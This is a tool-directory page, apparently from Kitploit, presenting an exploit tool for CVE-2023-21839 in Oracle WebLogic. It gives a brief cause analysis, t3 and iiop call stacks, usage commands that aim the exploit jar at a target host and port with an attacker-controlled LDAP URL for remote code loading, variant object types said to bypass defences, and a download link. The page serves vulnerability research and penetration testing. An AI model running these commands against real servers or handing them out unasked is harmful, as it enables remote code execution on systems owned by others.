Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-21839 — CVE-2023-21839工具 | Kitploit
Tools/GitHubGitHub/firebasky/cve-2023-21839
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubfirebasky/cve-2023-21839

CVE-2023-21839

CVE-2023-21839工具

View Repository
2643 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-21839

Analysis

This vulnerability is caused by triggering the getReferent method of the bound object when calling the lookup or list method after binding an object via the t3 or iiop protocol.

image-20230120143023196

Call stack for t3 protocol:

root@kitploit:~
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
invoke:-1, RootNamingNode_WLSkel (weblogic.jndi.internal)
invoke:667, BasicServerRef (weblogic.rmi.internal)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

iiop protocol:

root@kitploit:~
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
lookup:254, WLEventContextImpl (weblogic.jndi.internal)
lookup:412, WLContextImpl (weblogic.jndi.internal)
lookup:411, InitialContext (javax.naming)
resolveObject:454, NamingContextImpl (weblogic.corba.cos.naming)
resolve_any:360, NamingContextImpl (weblogic.corba.cos.naming)
_invoke:108, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

After simple exploration, it was discovered that other objects can also be triggered.

Tool

root@kitploit:~
java -jar CVE-2023-21839.jar obj 127.0.0.1 7001 ldap://vps:port/xxx
obj option supports 4 types maybe can bypass!
foreignOpaqueRef,foreignOpaqueRef2,AggtableOpaqueRef,linkRef

eg:
java -jar CVE-2023-21839.jar foreignOpaqueRef 127.0.0.1 7001 ldap://vps:port/xxx

Solved the problem of iiop net network

https://firebasky.github.io/2023/01/18/Solve-the-problem-of-iiop-using-net-network-in-webLogic/

Download Tool